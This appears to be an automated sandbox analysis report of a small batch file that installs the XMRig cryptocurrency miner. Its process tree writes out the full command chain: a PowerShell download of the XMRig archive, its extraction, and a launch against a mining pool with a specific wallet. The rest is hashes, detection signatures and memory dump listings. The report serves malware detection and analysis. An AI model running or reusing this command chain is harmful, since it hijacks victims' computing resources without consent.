Analysis

  • max time kernel
    1793s
  • max time network
    1789s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01-01-2024 03:11

General

  • Target

    tesy - Copy (3).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 24 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:292
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2976
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2736

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/292-6-0x00007FF87F540000-0x00007FF87FF2C000-memory.dmp

    Filesize

    9.9MB

  • memory/292-10-0x000001D353090000-0x000001D353106000-memory.dmp

    Filesize

    472KB

  • memory/292-25-0x000001D352F00000-0x000001D352F10000-memory.dmp

    Filesize

    64KB

  • memory/292-9-0x000001D352F00000-0x000001D352F10000-memory.dmp

    Filesize

    64KB

  • memory/292-7-0x000001D352F00000-0x000001D352F10000-memory.dmp

    Filesize

    64KB

  • memory/292-4-0x000001D352ED0000-0x000001D352EF2000-memory.dmp

    Filesize

    136KB

  • memory/292-26-0x00007FF87F540000-0x00007FF87FF2C000-memory.dmp

    Filesize

    9.9MB

  • memory/292-27-0x000001D352F00000-0x000001D352F10000-memory.dmp

    Filesize

    64KB

  • memory/292-28-0x000001D352F00000-0x000001D352F10000-memory.dmp

    Filesize

    64KB

  • memory/292-29-0x000001D352F00000-0x000001D352F10000-memory.dmp

    Filesize

    64KB

  • memory/292-34-0x00007FF87F540000-0x00007FF87FF2C000-memory.dmp

    Filesize

    9.9MB

  • memory/2736-149-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-143-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-122-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-124-0x000001F6F93E0000-0x000001F6F9400000-memory.dmp

    Filesize

    128KB

  • memory/2736-188-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-187-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-186-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-185-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-123-0x000001F6F93C0000-0x000001F6F93E0000-memory.dmp

    Filesize

    128KB

  • memory/2736-125-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-126-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-129-0x000001F6F93E0000-0x000001F6F9400000-memory.dmp

    Filesize

    128KB

  • memory/2736-128-0x000001F6F93C0000-0x000001F6F93E0000-memory.dmp

    Filesize

    128KB

  • memory/2736-127-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-130-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-131-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-132-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-133-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-162-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-161-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-160-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-159-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-158-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-157-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-156-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-155-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-154-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-153-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-152-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-151-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-150-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-120-0x000001F6F9150000-0x000001F6F9170000-memory.dmp

    Filesize

    128KB

  • memory/2736-148-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-147-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-146-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-145-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-144-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-121-0x000001F6F93A0000-0x000001F6F93C0000-memory.dmp

    Filesize

    128KB

  • memory/2736-142-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-141-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-140-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-139-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-138-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-137-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-136-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-135-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-163-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-134-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-164-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-165-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-166-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-167-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-168-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-169-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-170-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-171-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-172-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-173-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-174-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-175-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-176-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-177-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-178-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-179-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-180-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-181-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-182-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-183-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-184-0x00007FF681CE0000-0x00007FF6827E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2976-66-0x0000025C30160000-0x0000025C30170000-memory.dmp

    Filesize

    64KB

  • memory/2976-40-0x0000025C30160000-0x0000025C30170000-memory.dmp

    Filesize

    64KB

  • memory/2976-42-0x0000025C30160000-0x0000025C30170000-memory.dmp

    Filesize

    64KB

  • memory/2976-39-0x00007FF87F540000-0x00007FF87FF2C000-memory.dmp

    Filesize

    9.9MB

  • memory/2976-93-0x0000025C30320000-0x0000025C3032A000-memory.dmp

    Filesize

    40KB

  • memory/2976-80-0x0000025C30330000-0x0000025C30342000-memory.dmp

    Filesize

    72KB

  • memory/2976-117-0x00007FF87F540000-0x00007FF87FF2C000-memory.dmp

    Filesize

    9.9MB